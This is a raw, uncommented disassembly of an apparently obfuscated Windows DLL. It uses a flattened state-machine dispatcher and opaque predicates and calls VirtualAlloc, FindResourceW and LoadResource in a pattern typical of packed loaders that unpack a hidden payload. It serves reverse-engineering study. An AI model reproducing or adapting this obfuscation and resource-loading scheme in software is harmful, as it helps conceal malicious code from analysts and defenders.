mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb8c392e3
and eax, 0x473c6d1c
or eax, edx
xor eax, 0x473c6d1d
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x58a129d8
mov esi, 0xbfabc3c3
cmovne edx, esi
test al, al
cmove edx, esi
test cl, cl
mov eax, 0x58a129d8
jmp 0x10008b80
cmp eax, 0x8cb78fb6
je 0x10005130
cmp eax, 0x8d00d340
je 0x100071cb
cmp eax, 0x8d978c67
jne 0x10001308
mov eax, 0x42318611
jmp 0x10001308
cmp eax, 0xc43f07fa
je 0x100071d5
cmp eax, 0xc477749b
je 0x100071df
cmp eax, 0xc4bfa2a1
jne 0x10001308
push 0x8000
push 0
push dword [ebp - 0x94]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1005c978], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x5018cbc2
mov edi, 0x71f67758
cmovne edx, edi
test al, al
cmove edx, edi
test cl, 1
mov eax, 0x5018cbc2
jmp 0x10008b80
cmp eax, 0xe206202
je 0x100071e9
cmp eax, 0xe3a16a9
je 0x1000724d
cmp eax, 0xf29227b
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
or ch, al
xor dl, cl
mov al, ch
xor al, dl
test al, 1
mov eax, 0xf704f3af
mov edi, 0x774a4447
cmovne eax, edi
test dl, dl
mov edx, eax
mov esi, 0xf704f3af
cmovne edx, esi
test ch, 1
jmp 0x1000850d
cmp eax, 0x4e33f6be
je 0x10007293
cmp eax, 0x4f8afbad
je 0x100072eb
cmp eax, 0x4fc40fe7
jne 0x10001308
mov eax, 0xd0844c52
jmp 0x10001308
cmp eax, 0x9fa0b65a
je 0x100072f5
cmp eax, 0xa025ce70
je 0x1000730e
cmp eax, 0xa3291f9e
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax - 1]
imul ecx, eax
and ecx, 1
sete dl
cmp dword [0x1005c978], 0xa
setl al
setge ah
and ah, dl
and cl, al
or cl, ah
mov ah, al
xor ah, dl
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
mov edx, 0x9a0a0888
mov edi, 0xbc81be4a
cmovne edx, edi
test al, al
mov eax, 0x9a0a0888
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x10001308
cmp eax, 0x2c9d13ae
je 0x1000736d
cmp eax, 0x2ca9bac2
je 0x10007377
cmp eax, 0x2d281a0d
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x71daaf8
and eax, 0xf8e25507
or eax, edx
xor eax, 0x71daaf9
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
xor dl, al
or ah, cl
xor ah, 1
or ah, dl
mov cl, ah
xor cl, ch
test ah, ah
mov eax, 0x1c866098
mov edx, 0x216501b0
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, cl
mov ecx, 0x1c866098
cmove eax, ecx
jmp 0x10001308
cmp eax, 0xe76f7f28
je 0x10007395
cmp eax, 0xe82e7a92
je 0x100073ff
cmp eax, 0xea22227d
jne 0x10001308
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
add eax, 0xfffffff4
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
push 4
push 0x1000
push dword [eax]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, 0xd3e22ed7
jmp 0x10001308
cmp eax, 0x6648f9a5
je 0x10007409
cmp eax, 0x66da9266
je 0x10007453
cmp eax, 0x6749550d
jne 0x10001308
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x1005c974]
lea edx, [ecx + 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x35246882
mov edi, ecx
and edi, 0xcadb977d
or edi, edx
mov eax, dword [eax]
xor edi, 0xcadb977c
and ecx, 0xfffffffe
or ecx, edi
xor ecx, 0x3f868895
cmp ecx, 0xc079776a
setne cl
cmp dword [0x1005c978], 0xa
setge dl
mov ch, dl
or ch, cl
xor dl, cl
mov cl, ch
xor cl, dl
test dl, dl
mov edx, 0x50118199
mov esi, 0x8fc06f8e
cmovne edx, esi
mov dword [ebp - 0xa0], eax
test ch, ch
mov eax, 0x50118199
cmovne edx, eax
test cl, cl
cmove edx, esi
mov eax, edx
jmp 0x10001308
cmp eax, 0x914d2b45
je 0x100074a9
cmp eax, 0x9181e772
je 0x100074f4
cmp eax, 0x92618e64
jne 0x10001308
mov eax, 0xa62bfd4
jmp 0x10001308
cmp eax, 0xb3dce6f9
je 0x10007504
cmp eax, 0xb4c15fd6
je 0x10007549
cmp eax, 0xb4d331fa
jne 0x10001308
mov eax, dword [ebp - 0x2c]
mov dword [eax], 2
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x46096e9c
mov edi, 0x74a5a511
cmovne ecx, edi
test dl, dl
jmp 0x10006fcc
cmp eax, 0x3f950368
je 0x1000759d
cmp eax, 0x3f9914fb
je 0x10007631
cmp eax, 0x400c1eed
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
xor al, dl
mov ch, dl
xor ch, cl
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov cl, dl
xor cl, ch
test dl, 1
mov eax, 0xfd1779d1
mov edx, 0x150a0520
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov ecx, 0xfd1779d1
cmove eax, ecx
jmp 0x10001308
cmp eax, 0xf9930971
je 0x10007681
cmp eax, 0xfa02fca2
je 0x100076d9
cmp eax, 0xfa1aa5cc
jne 0x10001308
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, 0x2d6bb456
jmp 0x10001308
cmp eax, 0x70c8dc8b
je 0x1000770c
cmp eax, 0x715f558e
je 0x1000776b
cmp eax, 0x71840740
jne 0x10001308
mov eax, 0xfa1aa5cc
jmp 0x10001308
cmp eax, 0x82eccf20
je 0x100077d4
cmp eax, 0x84198324
je 0x10007828
cmp eax, 0x8425bf33
jne 0x10001308
mov eax, dword [ebp - 0x30]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x30]
mov eax, 0x57838e8
jmp 0x10001308
cmp eax, 0xc9e9e88b
je 0x1000783b
cmp eax, 0xca54b877
je 0x10007845
cmp eax, 0xca576bf2
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x365bac71
and eax, 0xc9a4538e
or eax, edx
xor eax, 0xc9a4538f
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0xed626e95
mov edi, 0x5a2b6412
cmovne eax, edi
test cl, cl
mov ecx, 0xed626e95
jmp 0x100083fd
cmp eax, 0xa9c67c47
je 0x1000785a
cmp eax, 0xa9cd8046
je 0x10007864
cmp eax, 0xaa2730a6
jne 0x10001308
mov eax, 0xc563d19a
jmp 0x10001308
cmp eax, 0x34144dfa
je 0x100078c6
cmp eax, 0x342358f0
je 0x1000795a
cmp eax, 0x346e8655
jne 0x10001308
mov eax, 0x686f6966
jmp 0x10001308
cmp eax, 0xef6adef6
je 0x100079ad
cmp eax, 0xf0f93c75
je 0x10007a13
cmp eax, 0xf31d9293
jne 0x10001308
mov eax, 0x1a218d6a
jmp 0x10001308
cmp eax, 0x6bee228d
je 0x10007a72
cmp eax, 0x6c505026
je 0x10007acc
cmp eax, 0x6c5ebdd9
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ecx, 0x14533dea
mov esi, 0x6610b6d8
cmovne ecx, esi
test dl, dl
mov edx, ecx
mov esi, 0x14533dea
jmp 0x10008c3d
cmp eax, 0x9997d2c4
je 0x10007adc
cmp eax, 0x99b87b07
je 0x10007b50
cmp eax, 0x99f1ed88
jne 0x10001308
push 2
push 0x409
push dword [ebp - 0xb8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
cmp dword [eax], 0
mov eax, 0x9d800a58
mov ecx, 0x6ee6efe0
cmove eax, ecx
jmp 0x10001308
cmp eax, 0xba2dc65f
je 0x10007bb6
cmp eax, 0xba8a9097
je 0x10007bc0
cmp eax, 0xbc3bf1a4
jne 0x10001308
cmp dword [0x1005c8dc], 0
sete byte [ebp - 0x69]
mov eax, 0x531adfa8
jmp 0x10001308
cmp eax, 0x46096e9c
je 0x10007bca
cmp eax, 0x4798af08
je 0x10007c1a
cmp eax, 0x48455fec
jne 0x10001308
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x30]
push dword [eax]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, 0x650a7180
jmp 0x10001308
cmp eax, 0x4358d82
je 0x10007c89
cmp eax, 0x57838e8
je 0x10007c9f
cmp eax, 0x5a8cca2
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc5b74d64
mov edx, eax
and edx, 0x3a48b29b
or edx, ecx
xor edx, 0x3a48b29a
and eax, 0xfffffffe
or eax, edx
xor eax, 0xe238ef5f
xor eax, 0x1dc710a0
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, dl
xor al, ah
test dl, dl
mov ecx, 0x4f8afbad
mov edx, 0x8d978c67
cmovne ecx, edx
test ah, ah
mov esi, 0x4f8afbad
jmp 0x100087bb
cmp eax, 0x77aeb17b
je 0x10007d27
cmp eax, 0x77d33582
je 0x10007d46
cmp eax, 0x7821d726
jne 0x10001308
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x28]
lea ecx, [ecx + eax*2]
add ecx, 0xfffffffe
mov eax, dword [0x1005c974]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x72469a44
mov edi, eax
and edi, 0x8db965bb
or edi, edx
xor edi, 0x8db965ba
and eax, 0xfffffffe
or eax, edi
xor eax, 0x6c5a7019
xor eax, 0x93a58fe6
sete al
setne ah
cmp dword [0x1005c978], 0xa
setge dh
setl bl
mov dl, bl
xor dl, ah
and dl, bl
and dh, al
and bl, ah
or bl, dh
mov eax, edx
xor al, bl
mov edi, 0xe711bf91
mov esi, 0x41337a53
cmovne edi, esi
test bl, bl
mov eax, edi
cmovne eax, esi
mov dword [ebp - 0x88], ecx
jmp 0x10008994
cmp eax, 0x8b6ed133
je 0x10007d50
cmp eax, 0x8b8e45f3
je 0x10007daf
cmp eax, 0x8cb1c41b
jne 0x10001308
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd5a02f61
mov edx, eax
and edx, 0x2a5fd09e
or edx, ecx
xor edx, 0x2a5fd09f
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ecx, 0x9c1a4ea9
mov edi, 0xb1f643d0
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov edi, 0x9c1a4ea9
jmp 0x10008570
cmp eax, 0xc7e583fc
je 0x10007e3a
cmp eax, 0xc805a248
je 0x10007e44
cmp eax, 0xc808d7c1
jne 0x10001308
mov eax, 0xc8b48c98
jmp 0x10001308
cmp eax, 0x1a8d0f12
je 0x10007e4e
cmp eax, 0x1ab7f39a
je 0x10007e58
cmp eax, 0x1bc2b8f4
jne 0x10001308
mov eax, 0xf4308206
jmp 0x10001308
cmp eax, 0xd3e22ed7
je 0x10007eab
cmp eax, 0xd47469dd
je 0x10007f58
cmp eax, 0xd502b629
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x4459bf96
mov edx, eax
and edx, 0xbba64069
or edx, ecx
xor edx, 0xbba64068
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ecx, 0x7f8a82c8
mov edi, 0xbd5ad1d2
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov edi, 0x7f8a82c8
jmp 0x10008570
cmp eax, 0x596259ae
je 0x10007f62
cmp eax, 0x5a2b6412
je 0x10007fc2
cmp eax, 0x5a907553
jne 0x10001308
mov eax, 0x4e33f6be
jmp 0x10001308
cmp eax, 0x12c1aacd
je 0x10008016
cmp eax, 0x14533dea
je 0x10008034
cmp eax, 0x14962e97
jne 0x10001308
mov eax, 0x4798af08
jmp 0x10001308
cmp eax, 0x517e24f7
je 0x10008099
cmp eax, 0x53178ca1
je 0x100080a3
cmp eax, 0x531adfa8
jne 0x10001308
cmp byte [ebp - 0x69], 0
mov eax, 0xec0119df
mov ecx, 0x6c5ebdd9
cmovne eax, ecx
jmp 0x10001308
cmp eax, 0x218396c8
je 0x100080b3
cmp eax, 0x22b16cd8
je 0x100080bd
cmp eax, 0x2317205e
jne 0x10001308
call fcn.10037ec8
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd4c6fc13
and eax, 0x2b3903ec
or eax, edx
xor eax, 0x2b3903ed
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
mov ch, cl
xor ch, dl
test cl, cl
mov eax, 0x6291573f
mov edi, 0x6779ccf0
cmovne eax, edi
test dl, dl
cmove eax, edi
test ch, ch
mov ecx, 0x6291573f
cmove eax, ecx
jmp 0x10001308
cmp eax, 0xddfe9ded
je 0x100080c7
cmp eax, 0xde1ec79d
je 0x100080d1
cmp eax, 0xde4c04d6
jne 0x10001308
mov eax, 0xaad3495a
jmp 0x10001308
cmp eax, 0x5e84cad6
je 0x100080db
cmp eax, 0x5e957621
je 0x100080f1
cmp eax, 0x5ebcb0cc
jne 0x10001308
mov eax, 0x30ac1549
jmp 0x10001308
cmp eax, 0xfe51a8a
je 0x100080fb
cmp eax, 0x10bfd1ab
je 0x10008105
cmp eax, 0x1113922f
jne 0x10001308
mov eax, 0x5db8cd82
jmp 0x10001308
cmp eax, 0x502f0c1b
je 0x1000817b
cmp eax, 0x509bfa47
je 0x100081da
cmp eax, 0x50c1fc06
jne 0x10001308
mov eax, 0x41eb6634
jmp 0x10001308
cmp eax, 0xa584a030
je 0x1000822a
cmp eax, 0xa69950eb
jne 0x10001308
mov eax, dword [ebp - 0x90]
mov eax, 0x5dc7cc05
jmp 0x10001308
cmp eax, 0x32ba380b
je 0x10008278
cmp eax, 0x32efd896
jne 0x10001308
mov eax, 0x492d66ee
jmp 0x10001308
cmp eax, 0xed626e95
je 0x100082de
cmp eax, 0xedc0d6c9
jne 0x10001308
push dword [ebp - 0x40]
push 8
push dword [ebp - 0x34]
push 0x67
call dword [0x1005c8d4]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x301f62c5
mov edx, eax
and edx, 0xcfe09d3a
or edx, ecx
xor edx, 0xcfe09d3b
and eax, 0xfffffffe
or eax, edx
xor eax, 0xbf3b0392
xor eax, 0x40c4fc6d
setne al
sete dl
cmp dword [0x1005c978], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
mov edx, 0x218396c8
mov edi, 0x68b13603
cmovne edx, edi
test cl, cl
mov ecx, 0x218396c8
jmp 0x10008ae4
cmp eax, 0x686f6966
je 0x100082e8
cmp eax, 0x68b13603
jne 0x10001308
push dword [ebp - 0x40]
push 8
push dword [ebp - 0x34]
push 0x67
call dword [0x1005c8d4]
mov eax, 0xedc0d6c9
jmp 0x10001308
cmp eax, 0x962324e7
je 0x10008350
cmp eax, 0x969c26a2
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x1005c978], 0xa
setl dl
xor al, dl
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0x9b1a35f5
mov edi, 0x2db2c3d0
cmovne edx, edi
test al, al
cmovne edx, edi
test cl, cl
mov eax, 0x9b1a35f5
jmp 0x1000850d
cmp eax, 0x1f683b1f
je 0x10008366
cmp eax, 0x1fc4fd40
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
or ah, cl
xor dl, al
mov al, ah
xor al, dl
mov ecx, 0x6754a7ee
mov esi, 0x10bfd1ab
cmovne ecx, esi
test dl, dl
mov edx, ecx
mov esi, 0x6754a7ee
jmp 0x10008c3d
cmp eax, 0xda842cf2
je 0x10008370
cmp eax, 0xdb54d751
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x24da4148
mov edx, eax
and edx, 0xdb25beb7
or edx, ecx
xor edx, 0xdb25beb6
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and al, ch
or ch, cl
and dl, cl
or dl, al
mov cl, dl
xor cl, ch
test dl, dl
mov eax, 0x77aeb17b
mov edx, 0x34144dfa
cmovne eax, edx
test ch, ch
mov edi, 0x77aeb17b
jmp 0x10007a6a
cmp eax, 0x5d307e88
je 0x100083a3
cmp eax, 0x5d9d9058
jne 0x10001308
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x58]
push dword [eax]
push dword [ecx]
push dword [edx]
push dword [edi]
call fcn.10044281
add esp, 0x10
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
push 0x8000
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x5c]
cmp dword [eax], 0
mov eax, 0x6b55c1c4
mov ecx, 0x9e74a66e
cmove eax, ecx
jmp 0x10001308
cmp eax, 0xb7eadd0e
je 0x100083ad
cmp eax, 0xb82d6337
jne 0x10001308
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x8c]
mov word [eax + ecx*2], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, 0xdb54d751
jmp 0x10001308
cmp eax, 0x42318611
je 0x100083ba
cmp eax, 0x43182373
jne 0x10001308
mov eax, 0x112491ee
jmp 0x10001308
cmp eax, 0x609ece
je 0x1000840c
cmp eax, 0x112d68b
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
not al
or al, 0xfe
cmp al, 0xff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x8509883d
mov esi, 0xf5557c7a
cmovne ecx, esi
test dl, dl
mov edx, 0x8509883d
jmp 0x100085ce
cmp eax, 0x75f03dff
je 0x1000843a
cmp eax, 0x7654350d
jne 0x10001308
mov eax, 0xa584a030
jmp 0x10001308
cmp eax, 0x87b23fa6
je 0x100084a3
cmp eax, 0x87c05009
jne 0x10001308
mov eax, 0xec0119df
jmp 0x10001308
cmp eax, 0x1859d22e
je 0x100084b3
cmp eax, 0x19589f57
jne 0x10001308
mov eax, 0x9a3be4c0
jmp 0x10001308
cmp eax, 0xcebd792a
je 0x100084bd
cmp eax, 0xcfe449c0
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xcd9b0ac6
and eax, 0x3264f539
or eax, edx
xor eax, 0xcd9b0ac7
or eax, ecx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x1005c978], 0xa
setge dl
setl ah
and ah, al
and cl, dl
or cl, ah
or dl, al
mov ch, dl
xor ch, cl
test dl, dl
mov eax, 0xa3291f9e
mov edx, 0x43ab8cef
cmovne eax, edx
test cl, cl
cmove eax, edx
test ch, ch
mov ecx, 0xa3291f9e
cmove eax, ecx
jmp 0x10001308
cmp eax, 0x584fa680
je 0x100084c7
cmp eax, 0x5859e8d3
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x17a9051a
mov edx, eax
and edx, 0xe856fae5
or edx, ecx
xor edx, 0xe856fae4
and eax, 0xfffffffe
or eax, edx
xor eax, 0x3314ab6b
xor eax, 0xcceb5494
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
xor cl, dl
mov ah, al
xor ah, dl
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov al, dl
xor al, ah
test dl, dl
mov ecx, 0x7777d96b
mov edx, 0x67813b12
cmovne ecx, edx
test ah, ah
cmove ecx, edx
test al, al
mov eax, 0x7777d96b
jmp 0x10008402
cmp eax, 0xb0414991
je 0x10008517
cmp eax, 0xb1f643d0
jne 0x10001308
mov eax, 0x9c1a4ea9
jmp 0x10001308
cmp eax, 0x397492ac
je 0x10008578
cmp eax, 0x3b521272
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
not al
or al, 0xfe
cmp al, 0xff
setne al
cmp dword [0x1005c978], 0xa
setge cl
setl dl
xor dl, al
or cl, al
mov eax, edx
xor al, cl
mov eax, 0x15ef811a
mov esi, 0xd7da1bc8
cmovne eax, esi
test cl, cl
mov ecx, 0xd7da1bc8
cmovne ecx, eax
jmp 0x10007ac0
cmp eax, 0xf5f9a211
je 0x100085dd
cmp eax, 0xf6a047c0
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xfda2b35a
mov edx, eax
and edx, 0x25d4ca5
or edx, ecx
xor edx, 0x25d4ca4
and eax, 0xfffffffe
or eax, edx
xor eax, 0x724d8fa0
xor eax, 0x8db2705f
sete dl
setne ah
cmp dword [0x1005c978], 0xa
setl cl
xor ah, cl
mov al, dl
xor al, cl
xor ah, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
mov edx, 0x4ce7acb1
mov edi, 0x53178ca1
cmovne edx, edi
test cl, cl
mov ecx, 0x4ce7acb1
jmp 0x10008ae4
cmp eax, 0x6e7308c0
je 0x1000864e
cmp eax, 0x6e975fb0
jne 0x10001308
mov eax, dword [ebp - 0x2c]
mov eax, 0x49e90eaf
jmp 0x10001308
cmp eax, 0x9c1a4ea9
je 0x100086ae
cmp eax, 0x9d800a58
jne 0x10001308
mov eax, dword [ebp - 0x38]
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x1005c978], 0xa
setge dl
setl ch
mov dh, ch
xor dh, al
and dh, ch
and dl, cl
and ch, al
or ch, dl
mov al, ch
xor al, dh
test ch, ch
mov ecx, 0x337e22aa
mov edi, 0xb3dce6f9
cmovne ecx, edi
test dh, dh
mov edx, 0x337e22aa
cmove ecx, edx
test al, al
cmovne ecx, edi
mov eax, ecx
jmp 0x10001308
cmp eax, 0x26e5d66c
je 0x1000871b
cmp eax, 0x29b92e5c
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xae13dc81
and eax, 0x51ec237e
or eax, edx
xor eax, 0x51ec237f
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
or ch, cl
xor dl, al
mov al, ch
xor al, dl
mov edi, 0x71840740
mov eax, 0xcb7f4d23
cmovne edi, eax
test dl, dl
mov eax, edi
mov edx, 0x71840740
jmp 0x10007360
cmp eax, 0xe5ce59f4
je 0x10008725
cmp eax, 0xe5ef747c
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x167c1d64
and eax, 0xe983e29b
or eax, edx
xor eax, 0xe983e29a
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov al, ch
xor al, ah
test ah, ah
mov edx, 0x339a501d
mov edi, 0xa9cd8046
cmovne edx, edi
test ch, ch
mov ecx, 0x339a501d
jmp 0x10007e2b
cmp eax, 0x6291573f
je 0x1000872f
cmp eax, 0x63410bd0
jne 0x10001308
cmp dword [ebp - 0x7c], 0
mov eax, 0xe3a16a9
mov ecx, 0x715f558e
cmove eax, ecx
jmp 0x10001308
cmp eax, 0xbf761f3f
je 0x10008739
cmp eax, 0xbfabc3c3
jne 0x10001308
mov eax, 0x58a129d8
jmp 0x10001308
cmp eax, 0x49e90eaf
je 0x1000874f
cmp eax, 0x4a7c4ae0
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x18df511e
and eax, 0xe720aee1
or eax, edx
xor eax, 0xe720aee0
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov edi, 0x57838e8
mov eax, 0x8425bf33
cmovne edi, eax
test cl, cl
mov eax, edi
mov ecx, 0x57838e8
jmp 0x10006ac6
cmp eax, 0xbc9a361
je 0x100087c3
cmp eax, 0xc87eb30
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x5859e8d3
mov edi, 0xde1ec79d
cmovne eax, edi
test cl, cl
mov ecx, 0x5859e8d3
jmp 0x100083fd
cmp eax, 0x7f8a82c8
je 0x1000881e
cmp eax, 0x7f962ebe
jne 0x10001308
mov eax, 0x1bdaf105
jmp 0x10001308
mov eax, 0xe3a16a9
jmp 0x10001308
mov eax, 0x174b1358
jmp 0x10001308
cmp eax, 0x8ec90d39
jne 0x10008cae
cmp byte [ebp - 0x67], 0
mov eax, 0xe60d6902
mov ecx, 0xcbe9ebaf
cmovne eax, ecx
jmp 0x10001308
cmp eax, 0x9eec3e70
jne 0x10008cba
mov eax, 0x8cb1c41b
jmp 0x10001308
mov eax, 0xcfe449c0
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete dl
setne ah
cmp dword [0x1005c978], 0xa
setge ch
setl al
mov cl, ch
